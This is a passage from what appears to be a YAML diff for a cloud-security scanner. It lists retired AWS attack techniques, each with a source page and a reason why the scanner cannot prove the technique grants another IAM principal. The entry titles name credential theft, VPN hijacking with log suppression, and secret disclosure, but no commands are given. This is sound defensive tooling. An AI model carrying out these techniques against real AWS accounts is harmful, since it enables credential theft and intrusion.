conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#privileged-execution-through-a-state-manager-association + technique: aws-audit-create-association-targeting-hybrid-managed-node + reason: 'Create association targeting hybrid managed node: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md#eventbridge-connection-credentials-without-statesrevealsecrets + technique: aws-audit-exfiltrate-eventbridge-connection-credential-via-teststate-http-task + reason: 'Exfiltrate EventBridge Connection credential via TestState HTTP Task: no source IAM action or resource + is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-gamelift-streams-enum.md#enumerate-bearer-stream-urls + technique: aws-audit-gameliftstreams-bearer-url + reason: 'Use a GameLift Streams bearer URL: no source IAM action or resource is declared in requires. The conditional + aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#recover-publishing-and-playback-capabilities + technique: aws-audit-ivs-recover-publishing-and-playback-capabilit-7128f3c7 + reason: 'Recover IVS real-time ingest credentials: no source IAM action or resource is declared in requires. The + conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#recover-publishing-and-playback-capabilities + technique: aws-audit-ivs-recover-publishing-and-playback-capabilit-997dd8c9 + reason: 'Recover IVS low-latency stream publishing key: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#recover-publishing-and-playback-capabilities + technique: aws-audit-ivs-recover-publishing-and-playback-capabilit-fd578249 + reason: 'Recover IVS secure SRT passphrase: no source IAM action or resource is declared in requires. The conditional + aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartaccessrequest--ssmgetaccesstoken--vend-jit-credentials-for-a-session-manager-shell + technique: aws-audit-jit-shell-to-hybrid-managed-instance + reason: 'JIT shell to hybrid managed instance: no source IAM action or resource is declared in requires. The conditional + aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workdocs-post-exploitation/README.md#workdocsupdateuser + source_revision: fd7d56b0a9 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md#workdocsupdateuser + technique: aws-audit-promote-controlled-workdocs-user-to-administrator + reason: 'Promote controlled WorkDocs user to administrator: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#transferupdateconnector--redirect-an-sftp-connector-and-capture-its-stored-credential + technique: aws-audit-redirect-connector-to-steal-partner-sftp-credential + reason: 'Redirect connector to steal partner SFTP credential: no source IAM action or resource is declared in + requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrcreatedataretentionbotchallenge--take-over-the-data-retention-bot + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-wickr-privesc/README.md#wickrcreatedataretentionbotchallenge--take-over-the-data-retention-bot + technique: aws-audit-reset-wickr-retention-bot-challenge-and-operate-bot + reason: 'Reset Wickr retention-bot challenge and operate bot: no source IAM action or resource is declared in + requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmresumesession + technique: aws-audit-resume-disconnected-hybrid-node-session + reason: 'Resume disconnected hybrid-node session: no source IAM action or resource is declared in requires. The + conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#timestreamexecutescheduledquery--trigger-an-already-stored-role-workflow + source_revision: 0d0ea06005 + technique: aws-audit-trigger-stored-query-that-delivers-restricted-secrets + reason: 'Trigger stored query that delivers restricted secrets: no source IAM action or resource is declared in + requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appsync-post-exploitation/README.md#read-environment-secrets-and-export-the-schema + technique: aws-audit2-appsync-2 + reason: 'Read environment secrets and export the schema: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-athena-query-disclosure-post-exploitation/README.md#query-history-and-result-disclosure + technique: aws-audit2-athena-query-disclosure-1 + reason: 'Query-history and result disclosure: no source IAM action or resource is declared in requires. The conditional + aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-athena-query-disclosure-post-exploitation/README.md#query-history-and-result-disclosure + technique: aws-audit2-athena-query-disclosure-2 + reason: 'GetQueryResults with result-object access: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-chime-sdk-enum.md#meetings + technique: aws-chime-attendee-jointoken-read + reason: 'Read another Chime meeting attendee JoinToken: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md#enumeration + technique: aws-codebuild-read-plaintext-aws-credential + reason: 'Recover another AWS principal''s credential from build variables: no source IAM action or resource is + declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s + permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject and effective + added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codepipeline-data-access-post-exploitation/README.md#codepipelinegetjobdetails--known-job-artifact-credentials + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-job-credentials-privesc/README.md#codepipelinegetjobdetails--known-job-artifact-credentials + technique: aws-codepipeline-getjobdetails-artifact-session + reason: 'codepipeline:GetJobDetails: no source IAM action or resource is declared in requires. The conditional + aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codepipeline-data-access-post-exploitation/README.md#codepipelinepollforjobs--custom-action-artifact-credentials + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-job-credentials-privesc/README.md#codepipelinepollforjobs--custom-action-artifact-credentials + technique: aws-codepipeline-pollforjobs-artifact-session + reason: 'codepipeline:PollForJobs: no source IAM action or resource is declared in requires. The conditional aws_role + target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor + the exact source action, resource, credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md#directory-and-client-secret-disclosure + technique: aws-cognito-describeidentityprovider-upstream-client-secret + reason: 'DescribeIdentityProvider can return an upstream OAuth client secret. This credential identifies the + application at that provider; it does not authenticate an upstream user or issue AWS IAM credentials. A later + user login and Cognito token-to-role mapping would be separate routes with their own exact evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-directory-secret-disclosure-post-exploitation/README.md#iam-reads-that-expose-directory-data-and-idp-client-secrets + technique: aws-cognito-upstream-idp-client-secret + reason: 'This is the same upstream application-client credential read as DescribeIdentityProvider. The secret + alone cannot identify or authenticate a user and does not vend another AWS principal; any downstream identity + route needs a separately established user login and token-to-role mapping.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-post-exploitation/README.md#collect-contact-metadata-attributes-references-and-files + technique: aws-connect-contact-credential + reason: 'Recover a credential persisted in Connect contact attributes or attached files: no source IAM action + or resource is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML + cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential + subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-post-exploitation/README.md#read-or-monitor-live-conversations + technique: aws-connect-conversation-credential + reason: 'Capture a credential from live voice/chat transcript or monitor session: no source IAM action or resource + is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-connect-enum.md#authorization-and-unauthenticated-boundary + technique: aws-connect-createparticipant-bearer + reason: 'Mint a participant bearer for an active Connect contact: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-post-exploitation/README.md#recover-flow-source-and-integration-targets + technique: aws-connect-flow-credential + reason: 'Recover hard-coded credential from Connect flow/module source: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-post-exploitation/README.md#intercept-and-alter-an-active-chat-with-a-custom-message-processor + technique: aws-connect-processor-credential + reason: 'Capture a credential through controlled Connect message processor: no source IAM action or resource is + declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s + permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject and effective + added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-post-exploitation/README.md#stream-an-active-chat-to-a-cross-account-sns-topic + technique: aws-connect-stream-credential + reason: 'Capture a credential from cross-account live chat stream: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-datazone-persistence/README.md#add-an-attacker-profile-as-a-project-owner + technique: aws-datazone-createprojectmembership-owner + reason: 'CreateProjectMembership can grant an allowed, controlled DataZone profile project membership, but that + alone is application authorization. A role edge also needs project-owner or domain authorization, the domain-unit + membership policy, the controlled profile with GetEnvironmentCredentials, an active environment in that project, + its exact associated IAM role and the effective restrictions on the issued session. The current inventory does + not join these facts, so a bare CreateProjectMembership grant must not imply the whole role.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2describelaunchtemplateversions-ec2describelaunchtemplates-optional + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2describelaunchtemplateversions-ec2describelaunchtemplates-optional + source_revision: 3ad99dc7ac + technique: aws-ec2-launchtemplate-embedded-iam-key + reason: 'Read IAM access keys embedded in EC2 launch-template user data: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrgetauthorizationtoken-ecrbatchgetimage-ecrgetdownloadurlforlayer + technique: aws-ecr-image-embedded-credential + reason: 'ECR image-layer embedded credential theft: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#eksupdatepodidentityassociation-iampassrole--repoint-an-existing-association-role-swap-cross-account-chaining-tag-guardrail-bypass + technique: aws-eks-updatepodidentityassociation-targetrole + reason: 'Repoint EKS Pod Identity targetRoleArn to a cross-account role: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md#eventbridge-rule-targets + technique: aws-events-listtargets-static-credential + reason: 'ListTargetsByRule can disclose static Input or InputTemplate content, but most target payloads are not + AWS credentials. A principal edge requires a complete usable credential tuple, a verified exact IAM subject and + additional effective authority. A target RoleArn or secret ARN is only a locator. The current inventory does not + safely extract and verify such credential material, so the read grant alone is insufficient.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-healthomics-enum.md#cloudtrail-and-stealth + technique: aws-healthomics-cloudtrail-workflow-zip-credential + reason: 'CloudTrail may contain the base64 definitionZip from CreateWorkflow, but neither + the HealthOmics page nor CloudTrail event metadata establishes that the ZIP contains AWS + credentials. The source might read the event through CloudTrail, a trail S3 object or a + separate log store, so the required read action and exact event resource also vary. A + principal edge needs the actual decoded ZIP, a complete usable credential, its verified + AWS principal and additional effective authority; no such content is inventoried by the + CSPM. Do not infer another role from the ability to read a workflow event.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-keyspaces-enum.md#enumerate-and-read-cdc-streams + technique: aws-keyspaces-cdc-credential-record + reason: 'Keyspaces CDC GetRecords can return changed table values on a permitted exact + stream, but the stream API does not identify those values as AWS credentials. A principal + edge requires an actual record with a complete usable credential, verified AWS subject + and extra effective authority, plus the source''s GetStream/GetShardIterator/GetRecords + rights on that stream. The CSPM does not collect stream contents or validate credential + subjects, so stream-read permission alone cannot establish this route.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-keyspaces-enum.md#connect-to-cql-with-sigv4 + technique: aws-keyspaces-select-credential-row + reason: 'cassandra:Select on an exact user table permits reading its rows, with system + table access often needed by CQL clients, but neither the permission nor table schema + proves any row contains an AWS credential. A principal edge needs an actual complete + usable credential row, verified AWS subject and extra effective authority. The CSPM + does not read customer table rows or validate credential subjects; table-read permission + alone is data access, not another IAM principal.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md#lambda-durable-executions + technique: aws-lambda-durablehistory-secret-identity + reason: 'GetDurableExecutionHistory with IncludeExecutionData can reveal retained step + inputs, results and callbacks for an exact durable execution; a customer-managed KMS key + also requires caller kms:Decrypt. The API does not identify that content as AWS credentials. + A role edge would need a real complete usable credential in the returned history, its + verified AWS principal and added authority. The CSPM does not collect execution payloads + or validate credential subjects, so history-read permission alone is insufficient.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md#enumeration + technique: aws-lambda-getfunction-package-secret-identity + reason: 'Recover a distinct identity credential from Lambda deployment package: no source IAM action or resource + is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md#enumeration + technique: aws-lambda-listfunctions-secret-identity + reason: 'Recover a distinct identity credential from ListFunctions environment: no source IAM action or resource + is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md#enumeration + technique: aws-lambda-listversions-secret-identity + reason: 'Recover a distinct identity credential from ListVersionsByFunction environment: no source IAM action + or resource is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML + cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential + subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-lex-v2-enum.md#runtime-sessions-and-stored-utterances + technique: aws-lex-getsession-other-application-session + reason: 'Lex GetSession returns a bot conversation state and its session attributes for + the supplied bot alias, locale and session ID. These values may expose application data, + but a Lex session ID is not an IAM or STS credential and GetSession does not grant the + caller another AWS principal. If a particular application stores an AWS secret in a + session attribute, that requires separate content and credential-subject evidence. + Keep generic application-session disclosure outside the principal graph.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-acm-persistence/README.md#register-an-attacker-controlled-acme-certificate-account + technique: aws-pa-persist-s01-01 + reason: 'Create EAB for an existing issuance role, recover binding, register ACME account: no source IAM action + or resource is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML + cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential + subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#harvest-db-credentials-via-rds-proxy-auth-secrets-rdsdescribedbproxies--secretsmanagergetsecretvalue + technique: aws-pa-s03-4-rds-proxy-auth-secret + reason: 'RDS Proxy auth secrets hold database usernames and passwords for backend + connections. DescribeDBProxies can identify a configured secret and GetSecretValue may + disclose its value, but that credential authenticates a database user, not an IAM role. + End-to-end IAM-authenticated proxies may have no backend password secret. Report the + database credential exposure separately; the role target in the retired YAML was an + unsupported principal-to-principal claim.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-managed-blockchain-persistence/README.md#establish-an-attacker-owned-consortium-member + technique: aws-peaso-establish-an-attacker-owned-consortium-member + reason: 'Join Fabric consortium with controlled member: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-managed-blockchain-persistence/README.md#mint-an-accessor-bearer-credential + technique: aws-peaso-mint-an-accessor-bearer-credential + reason: 'Create AMB billing bearer credential: no source IAM action or resource is declared in requires. The conditional + aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#postgresql-aurora + technique: aws-rds-dbconnect-aurora-role + reason: 'IAM DB authentication plus Aurora cluster role association: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-grafana-privesc/README.md#createworkspaceserviceaccounttoken--existing-or-attacker-created-service-account + technique: aws-s05-01-token-for-an-existing-admin-grafana-service-account + reason: 'Token for an existing ADMIN Grafana service account: no source IAM action or resource is declared in + requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-msk-post-exploitation/README.md#kafkaupdatesecurity-to-expose-private-topics-without-credentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md#kafkaupdatesecurity-to-expose-private-topics-without-credentials + technique: aws-s05-04-read-public-msk-sasl-scram-secret + reason: 'An MSK-associated Secrets Manager secret contains a Kafka SASL/SCRAM username + and password. Reading that secret may permit broker authentication when network access + and Kafka ACLs allow it, but the password is not an IAM or STS credential and gives no + other AWS principal authority. The retired role target conflated Kafka topic access with + AWS principal escalation; retain the credential exposure as a separate data-plane issue.' + source_revision: 1fb542ff27 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-function-access-post-exploitation/README.md#lambdagetfunction--download-a-function-deployment-package + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdagetfunction--download-a-function-deployment-package + source_revision: 3ad99dc7ac + technique: aws-s05-10-lambda-getfunction-download-a-function-deployment-packa + reason: '`lambda:GetFunction` — Download a function deployment package: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-function-access-post-exploitation/README.md#lambdagetfunctionconfiguration--read-environment-variables + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdagetfunctionconfiguration--read-environment-variables + source_revision: 3ad99dc7ac + technique: aws-s05-11-lambda-getfunctionconfiguration-read-environment-variab + reason: '`lambda:GetFunctionConfiguration` — Read environment variables: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-function-access-post-exploitation/README.md#lambdagetlayerversion--download-layer-code + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdagetlayerversion--download-layer-code + source_revision: 3ad99dc7ac + technique: aws-s05-12-lambda-getlayerversion-download-layer-code + reason: '`lambda:GetLayerVersion` — Download layer code: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-flink-privesc/README.md#studio-presigned-url-to-zeppelin-execution + technique: aws-s05-28-studio-presigned-url-to-zeppelin-execution + reason: 'Implemented by the active aws-flink-studio-presigned-url route. The evaluator + joins a collected RUNNING INTERACTIVE application ARN to its exact ServiceExecutionRole + and requires effective CreateApplicationPresignedUrl on that same ARN. The short-lived + bearer URL must still be used and the notebook must permit code or query execution, so + the outcome remains conditional. Keep this retired generated duplicate excluded to avoid + a second unsupported edge.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workmail-post-exploitation/README.md#abusing-workmail-to-bypass-ses-sandbox + technique: aws-s05-abusing-workmail-to-bypass-ses-sandbox + reason: 'Abusing WorkMail to bypass SES sandbox: no source IAM action or resource is declared in requires. The + conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-web-post-exploitation/README.md#disable-inline-redaction + technique: aws-s05-disable-inline-redaction + reason: 'Disable inline redaction: no source IAM action or resource is declared in requires. The conditional aws_role + target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor + the exact source action, resource, credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2getvpnconnectiondevicesampleconfiguration--disclose-site-to-site-vpn-pre-shared-keys + technique: aws-s05-ec2getvpnconnectiondevicesampleconfiguration-disclose-site-to-site-vpn + reason: '`ec2:GetVpnConnectionDeviceSampleConfiguration` — disclose Site-to-Site VPN pre-shared keys: no source + IAM action or resource is declared in requires. The conditional aws_role target relies on opaque evidence, so + the YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, + credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2modifyclientvpnendpoint--hijack-client-dnsrouting-and-suppress-connection-logs + technique: aws-s05-ec2modifyclientvpnendpoint-hijack-client-dnsrouting-and-suppress-conne + reason: '`ec2:ModifyClientVpnEndpoint` — hijack client DNS/routing and suppress connection logs: no source IAM + action or resource is declared in requires. The conditional aws_role target relies on opaque evidence, so the + YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, + credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2modifyvpnconnection--ec2modifyvpntunneloptions--take-over-an-existing-site-to-site-vpn-peer + technique: aws-s05-ec2modifyvpnconnection-ec2modifyvpntunneloptions-take-over-an-existing + reason: '`ec2:ModifyVpnConnection` + `ec2:ModifyVpnTunnelOptions` — take over an existing Site-to-Site VPN peer: + no source IAM action or resource is declared in requires. The conditional aws_role target relies on opaque evidence, + so the YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, + credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#liveanalytics-export-query-results-to-s3-with-timestreamunload + technique: aws-s05-liveanalytics-export-query-results-to-s3-with-timestreamunload + reason: 'LiveAnalytics: export query results to S3 with `timestream:Unload`: no source IAM action or resource + is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#liveanalytics-query-a-table-with-timestreamselect + technique: aws-s05-liveanalytics-query-a-table-with-timestreamselect + reason: 'LiveAnalytics: query a table with `timestream:Select`: no source IAM action or resource is declared in + requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-transfer-family-post-exploitation/README.md#logsfilterlogevents--logsgetlogevents--recover-custom-idp-passwords-from-logs + technique: aws-s05-logsfilterlogevents-logsgetlogevents-recover-custom-idp-passwords-from + reason: 'A custom Transfer Family identity provider may log the plaintext SFTP, FTP or + FTPS password it receives; FilterLogEvents or GetLogEvents could disclose that password + when the exact log group contains it. That password authenticates a Transfer user, not + an IAM or STS principal. A later file-transfer session may use a configured storage role + only for bounded S3/EFS operations and does not hand that role to the log reader. Keep + password leakage and file access as separate risks outside this principal graph.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-systems-manager-for-sap-post-exploitation/README.md#recover-configured-sap-hana-administrator-credentials + technique: aws-s05-recover-configured-sap-hana-administrator-credentials + reason: 'GetDatabase returns the SecretId of a registered SAP HANA administrative + credential; a separate GetSecretValue grant may disclose its database username and + password. Those values authenticate a HANA database user, not another AWS IAM principal. + The retired role target therefore overclaimed a principal transition. Retain the HANA + credential exposure as a database issue outside this graph.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-thin-client-post-exploitation/README.md#thinclientupdateenvironment---redirect-devices-to-another-desktop-provider-or-idp-endpoint + technique: aws-s05-thinclientupdateenvironment-redirect-devices-to-another-desktop-provid + reason: '`thinclient:UpdateEnvironment` - Redirect devices to another desktop provider or IdP endpoint: no source + IAM action or resource is declared in requires. The conditional aws_role target relies on opaque evidence, so + the YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, + credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrgetoidcinfo--disclose-the-sso-client-secret + technique: aws-s05-wickrgetoidcinfo-disclose-the-sso-client-secret + reason: '`wickr:GetOidcInfo` — disclose the SSO client secret: no source IAM action or resource is declared in + requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrgetopentdfconfig--disclose-the-opentdf-client-secret + technique: aws-s05-wickrgetopentdfconfig-disclose-the-opentdf-client-secret + reason: '`wickr:GetOpentdfConfig` — disclose 